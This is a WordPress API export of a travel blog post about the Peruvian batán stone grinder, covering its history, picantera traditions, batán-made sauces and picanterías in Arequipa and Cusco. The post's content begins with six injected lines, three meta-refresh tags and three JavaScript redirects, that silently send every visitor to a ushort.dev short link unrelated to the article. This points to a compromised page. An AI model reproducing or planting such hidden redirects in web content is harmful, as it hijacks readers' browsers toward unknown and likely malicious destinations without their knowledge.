{"id":17861,"date":"2025-08-21T13:15:19","date_gmt":"2025-08-21T18:15:19","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=17861"},"modified":"2025-08-21T13:15:22","modified_gmt":"2025-08-21T18:15:22","slug":"the-peruvian-batan-the-stone-heart-of-andean-flavor","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-peruvian-batan-the-stone-heart-of-andean-flavor\/","title":{"rendered":"The Peruvian Bat\u00e1n: The Stone Heart of Andean Flavor"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Ask any \u201cpicantera\u201d in Peru where true flavor is born, and she\u2019ll point\u2014not to a blender\u2014but to a humble slab of river stone called \u201cbat\u00e1n\u201d.&nbsp;<\/p>\n\n\n\n<p>This ancient grinder still anchors home kitchens and traditional restaurants across the Andes, turning aji peppers, herbs, nuts, and spices into pastes and sauces that taste unmistakably\u2026 Peruvian.<\/p>\n\n\n\n<p>So, here\u2019s your guide to the bat\u00e1n: what it is, where it comes from, why it matters, and where you can see (and taste) it in action on your next trip. Let\u2019s dive in then!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What exactly is a bat\u00e1n?<\/strong><\/h2>\n\n\n\n<p>To begin with, a bat\u00e1n, basically, is a rock base slightly hollowed. The top stone\u2014shaped like a half-moon, so picanteras call it \u201cmano\u201d.  <\/p>\n\n\n\n<p>&#8220;Picanteras&#8221; are Peruvian lady chefs with vast experience in Peruvian typical Andean dishes. You hold with both hands and rock back and forth to crush ingredients into pastes, sauces, and seasonings.\u00a0<\/p>\n\n\n\n<p>Unlike pounding mortars, the bat\u00e1n\u2019s long, rolling movement draws out oils and aromas while controlling texture\u2014from rustic, chunky salsas to smooth, silky sauces.&nbsp;<\/p>\n\n\n\n<p>In northern Peru, for example, wooden versions appear, while in the jungle, cooks use hardwood bat\u00e1ns for dishes like tacacho (mashed plantains with pork). No matter the form, the idea is the same: rock, grind, and taste.<\/p>\n\n\n\n<p><strong>Trivia:<\/strong> In different regions of Peru, it even has pet names: the hand-stone might be called mano(hand), u\u00f1a, or mama, and some households keep a smaller one nicknamed wawa (baby).<\/p>\n\n\n\n<p><strong>Another important detail: <\/strong>There&#8217;s another small rock, similar to the &#8220;la mano&#8221; but smaller, polished, and more circular &#8211; it&#8217;s called a &#8220;chaquena&#8221;. Although it&#8217;s a different type of rock, you extract the flavor in the same way.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"390\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/201-imagen-9292211102021.jpg?resize=697%2C390&#038;ssl=1\" alt=\"Woman preparing hoit sauce using batan\" class=\"wp-image-17865\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/201-imagen-9292211102021.jpg?w=900&amp;ssl=1 900w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/201-imagen-9292211102021.jpg?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/201-imagen-9292211102021.jpg?resize=768%2C430&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A tool with ancient roots<\/strong><\/h2>\n\n\n\n<p>The bat\u00e1n is prehistoric in the Andes. Long before Spanish colonization, Andean families relied on these stones to process grains,<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-fiery-hot-peppers-the-spicy-soul-of-andean-cuisine\/\"><strong> hot peppers<\/strong><\/a>, and herbs.&nbsp;<\/p>\n\n\n\n<p>And unlike many ancient tools that faded away, the bat\u00e1n simply kept its place\u2014through colonial kitchens, modern picanter\u00edas, and even today\u2019s trendy restaurants that proudly highlight tradition.<\/p>\n\n\n\n<p>Historian Enrique Ram\u00edrez Angulo says that the <em>bat\u00e1n<\/em> was used by our ancestors to \u201cdraw out the essence of the ingredients.&nbsp;<\/p>\n\n\n\n<p>\u201cThe stone presses against the stone, and in between we find the matter; this is the culinary sanctuary from which aromas and flavors are released\u2014the very soul of the ingredient.\u201d<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-the-historic-streets-of-arequipa\/\"><strong>Arequipa, Peru\u2019s \u201cWhite City<\/strong><\/a>,\u201d has become especially famous for keeping this heritage alive. Walk into a picanter\u00eda at lunchtime and you\u2019ll hear the gentle tacac tacac sound of stone on stone. That rhythm isn\u2019t just background noise\u2014it\u2019s the heartbeat of Arequipa\u2019s cuisine.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why not just use a blender?<\/strong><\/h2>\n\n\n\n<p>Short answer: flavor and texture. Electric blades chop too fast, generating heat that can dull herbs and turn vibrant green sauces into murky ones. A blender also pulverizes seeds unevenly, changing the sauce\u2019s body.<\/p>\n\n\n\n<p>Grinding on a bat\u00e1n, by contrast, gently coaxes oils out of aj\u00ed peppers, huacatay herbs, nuts, and spices. The result is a brighter color, a fresher aroma, and a silky mouthfeel you can\u2019t fake.&nbsp;<\/p>\n\n\n\n<p>Many picanteras swear that certain dishes simply don\u2019t taste right unless they\u2019re born on stone. Alonso Ruiz Rosas, in his book <em>La Gran Cocina Mestiza<\/em>, states that \u201ctradition\u201d is transmission.<\/p>\n\n\n\n<p>Thus,&nbsp; if we are part of it, we have the obligation and the duty to pass it on to future generations. In this way, knowledge is handed down\u2014literally\u2014from \u201chand to hand.\u201d<\/p>\n\n\n\n<p>And this is not just a metaphor: the movable stone placed on top of the <em>bat\u00e1n<\/em> is precisely called the \u201chand.\u201d There are many stories surrounding the \u201chand.\u201d&nbsp;<\/p>\n\n\n\n<p>For example, in the past, people said that when one <em>picantera<\/em> went to visit another, the hostess would hide her \u201chand,\u201d for fear that it might be taken away\u2014along with all her secrets and flavors.<\/p>\n\n\n\n<p>Yet another, more beautiful story tells us that when a <em>picantera<\/em> passed her kitchen on to her daughter, she would hand over \u201cthe hand\u201d as a symbol of the transmission of her legacy, her seasoning, and her love. That is the true power of the heritage of the <em>bat\u00e1n<\/em> in our gastronomic history.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/493927140_1252005686925666_8882326127708691183_n.jpg?resize=697%2C466&#038;ssl=1\" alt=\"woman making some uchukuta o traditional andean sauce with mano and batan\" class=\"wp-image-17866\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/493927140_1252005686925666_8882326127708691183_n.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/493927140_1252005686925666_8882326127708691183_n.jpg?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/493927140_1252005686925666_8882326127708691183_n.jpg?resize=768%2C514&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/493927140_1252005686925666_8882326127708691183_n.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Iconic dishes made on a bat\u00e1n<\/strong><\/h2>\n\n\n\n<p><strong>Papa a la Huancaina &#8211; <\/strong>This creamy and hearty dish features boiled potatoes served cold, topped with a smooth, slightly spicy sauce made from fresh cheese, milk, and oil.<\/p>\n\n\n\n<p>Also, the essential aj\u00ed amarillo, which contributes both heat and a vibrant golden hue, is essential. <\/p>\n\n\n\n<p>The sauce is rich yet well-balanced, providing a blend of mild spiciness and a touch of tanginess from the cheese.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"408\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?resize=697%2C408&#038;ssl=1\" alt=\"Freshly batan made papa a la huancaina\" class=\"wp-image-17867\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?resize=1024%2C600&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?resize=768%2C450&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?resize=1536%2C900&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/papa-a-la-huancaina.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Traditionally, it is garnished with black olives, hard-boiled eggs, and lettuce, making it as visually appealing as it is delicious.\u00a0 Served as a starter, Papa a la Huanca\u00edna is a cherished throughout Peru as a true classic of its cuisine.<\/p>\n\n\n\n<p><strong>Ocopa arequipe\u00f1a<\/strong>: The superstar of bat\u00e1n cuisine. This creamy, gently spicy sauce combines aj\u00ed amarillo, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-magic-of-huacatay-perus-unique-andean-herb\/\"><strong>huacatay<\/strong><\/a><strong>, <\/strong>toasted peanuts, and local cheese, ground patiently until smooth.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"391\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?resize=697%2C391&#038;ssl=1\" alt=\"Freshly made ocopa sauce on top of letuce, tomato salad, olive and eggs\" class=\"wp-image-17868\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?w=873&amp;ssl=1 873w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?resize=768%2C431&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Traditionally served over boiled potatoes, with a boiled egg and black olives on the side, it\u2019s a dish that defines <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\"><strong>Arequipa\u2019s gastronomic<\/strong><\/a> culture.<\/p>\n\n\n\n<p><strong>Every day,<\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-saucy-superstars-a-tasty-tale-of-native-sauces\/\"><strong> sauces<\/strong><\/a><strong> <\/strong>across the Andes, cooks prepare their own chile pastes on the bat\u00e1n, adjusting spiciness and herbs depending on the season. These pastes are the base of countless stews, stir-fries, and potato dishes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where to experience the bat\u00e1n in Peru<\/strong><\/h2>\n\n\n\n<p>If you want to see the bat\u00e1n in action, and more importantly, taste the difference, head to a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/\"><strong>picanter\u00eda<\/strong><\/a>, a traditional Andean dishes restaurant.<\/p>\n\n\n\n<p>You can find Picanterias all over Peru, especially in Arequipa or Cusco. These traditional lunchtime eateries are temples of flavor. Their wood-fired stoves, clay pots, and stone grinders keep alive the soul of southern Peruvian cooking.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>A few recommendations in Arequipa and Cusco:<\/strong><\/h3>\n\n\n\n<p><strong>La Nueva Palomino: <\/strong>Famous for its ocopa, chupe de camarones, and bat\u00e1n-made salsas.<\/p>\n\n\n\n<p><strong> Lucila:<\/strong> A beloved, old-school picanter\u00eda where the bat\u00e1n is still a daily tool, not just decoration.<\/p>\n\n\n\n<p><strong>La Capitana: <\/strong>Famous for its \u201cdobles\u201d and \u201ctriples,\u201d the batan is like a part of picanteras&#8217; bodies in this restaurant.<\/p>\n\n\n\n<p><strong>La Cusque\u00f1ita:<\/strong> The only Cusco picanteria on the list. Experts in<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/food-in-cusco-8-traditional-dishes-and-more-to-try\/\"><strong> Cusco\u2019s food tradition<\/strong><\/a> and their batan made sauces.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=697%2C697&#038;ssl=1\" alt=\"A closer look to a man making ocopa sauce in a modern batan\" class=\"wp-image-17869\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=1536%2C1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The batan is not just a regular rock<\/strong><\/h2>\n\n\n\n<p>The bat\u00e1n does more than honor tradition as it embodies cultural pride and identity. In an era of instant meals and quick fixes, it stands for patience and the belief that some processes demand time and care.<\/p>\n\n\n\n<p>Many chefs in modern Peruvian gastronomy are even reintroducing it into their kitchens, treating it as a living tool.<\/p>\n\n\n\n<p>Consequently, travelers who taste food made on a bat\u00e1n are experiencing history in motion. Each sauce connects you to centuries of cooks who rocked the same rhythm, passed down through families and generations.<\/p>\n\n\n\n<p>Therefore, the bat\u00e1n is more than a kitchen tool\u2014it\u2019s a cultural bridge. It links pre-Inca traditions to modern plates, transforms simple ingredients into vibrant flavors, and tells a story with every grind.<\/p>\n\n\n\n<p>If you visit Peru, you must go to a Picanteria, whether it\u2019s in Arequipa, Cusco, or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiclayo-discover-why-it-won-the-new-popes-heart\/\"><strong>Chiclayo<\/strong><\/a>, and try a batan made meal or sauce. Listen for that soft tacac tacac, and order a dish that was born on stone.&nbsp;<\/p>\n\n\n\n<p>It\u2019s a taste of Peru that no blender can imitate, and a memory that will stick with you long after the last bite. Raise a glass of chicha de gui\u00f1apo to the stone heart of Andean flavor\u2014the Peruvian bat\u00e1n.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>To learn more about Peruvian culture, traditions, or food traditions, stay tuned to our blog! Likewise, <strong>Viagens Machu Picchu<\/strong> invites you to see for yourself the best of Peru with our assistance.<\/p>\n\n\n\n<p>So, please, feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a> to learn more about us! The adventure in Peru, the land of the batan awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ask any \u201cpicantera\u201d in Peru where true flavor is born, and she\u2019ll point\u2014not to a blender\u2014but to a humble slab of river stone called \u201cbat\u00e1n\u201d.&nbsp; This ancient grinder still anchors home kitchens and traditional restaurants across the Andes, turning aji peppers, herbs, nuts, and spices into pastes and sauces that taste unmistakably\u2026 Peruvian. So, here\u2019s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":17862,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[202,206,192,1850,1],"tags":[6050,6051,6048,6057,6055,6053,6049,5204,6047,1504,1132,4574,6052,6056],"class_list":["post-17861","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arequipa","category-cusco","category-experiences","category-food","category-sem-categoria","tag-aji-peppers","tag-andean-flavor","tag-arequipa-cuisine","tag-chicha-de-guinapo","tag-cusco-picanteria-2","tag-huacatay-herbs","tag-ocopa-arequipena","tag-papa-a-la-huancaina-2","tag-peruvian-batan","tag-peruvian-culture","tag-peruvian-gastronomy","tag-picantera","tag-stone-grinders","tag-traditional-andean-dishes"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/493984552_1252005540259014_8887208173185291837_n.jpg?fit=900%2C504&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4E5","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17861","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=17861"}],"version-history":[{"count":3,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17861\/revisions"}],"predecessor-version":[{"id":17872,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17861\/revisions\/17872"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/17862"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=17861"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=17861"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=17861"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}